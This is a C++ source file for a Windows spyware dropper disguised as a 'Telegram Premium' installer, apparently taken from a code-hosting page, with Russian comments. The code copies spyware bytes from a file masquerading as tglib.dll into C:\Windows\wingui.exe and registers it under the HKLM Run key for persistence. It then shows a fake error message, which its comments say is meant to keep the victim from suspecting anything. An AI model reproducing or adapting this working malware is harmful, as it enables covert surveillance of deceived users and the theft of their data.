You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

95 lines
4.0 KiB

2 years ago
#include <Windows.h>
#include <fstream>
#include <vector>
int WINAPI wWinMain(
_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nShowCmd
) {
const char SRC_PROGRAM_PATH[] = "tglib.dll";
const char DST_PROGRAM_PATH[] = "C:\\Windows\\wingui.exe";
/*
В каталоге с .exe файлом лежит файл якобы библиотек tglib.dll.
На самом деле этот файл содержит байты клиентской части шпионского ПО.
Нужно вытащить все байты из этого файла, записать их в C:\Windows\wingui.exe
А потом добавить файл C:\Windows\wingui.exe в автозагрузку
2 years ago
*/
std::ifstream srcFile(SRC_PROGRAM_PATH, std::ios::binary);
if (!srcFile.is_open()) { // если файл куда-то пропал
const auto TITLE = "Ошибка инициализации";
const auto MESSAGE = "К сожалению, установщик Telegram Premium не может обнаружить файл библиотек tglib.dll.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
2 years ago
}
/* читаем .dll файл */
2 years ago
std::vector<char> spywareBytes; // в вектор будем помещать байты шпионской программы
while (!srcFile.eof()) { // пока есть, что читать, будем читать
2 years ago
char byte;
srcFile.read(&byte, sizeof byte); // считываем байт
spywareBytes.push_back(byte); // добавляем байт в вектор
2 years ago
}
srcFile.close(); // закрываем файл
2 years ago
/* за диске C: создаем .exe файл */
2 years ago
std::ofstream dstFile(DST_PROGRAM_PATH, std::ios::binary | std::ios::trunc);
if (!dstFile.is_open()) {
const auto TITLE = "Ошибка установки";
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000001.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
2 years ago
}
for (const auto byte : spywareBytes) { // переносим байты из .dll в .exe
2 years ago
dstFile << byte;
}
dstFile.close(); // закрываем файл
2 years ago
/* Добавляем wingui.exe в автозагрузку */
2 years ago
HKEY hKey;
char szPath[MAX_PATH];
const DWORD size = GetModuleFileName(NULL, szPath, MAX_PATH);
if (!(size > 0 && size < MAX_PATH)) {
const auto TITLE = "Ошибка установки";
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000002.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
2 years ago
}
RegCreateKeyEx(HKEY_LOCAL_MACHINE, // создаем ключ в реестре
2 years ago
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
NULL,
0,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,
NULL,
&hKey,
NULL
);
if (hKey) { // если ключ успешно создался, записываем значение
2 years ago
RegSetValueEx(hKey, "Win32GUI", 0, REG_SZ, (unsigned char*) DST_PROGRAM_PATH, sizeof(DST_PROGRAM_PATH));
RegCloseKey(hKey);
}
/*
Чтобы пользователь не заподозрил ничего, отобразим ему окошко с ошибкой
Пусть он думает, что эта программа не работает, и спокойно ее удаляет
2 years ago
*/
const auto TITLE = "Ошибка инициализации";
const auto MESSAGE = "К сожалению, запуск этой программы невозможен на вашей архитектуре.";
2 years ago
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR);
return 0;
}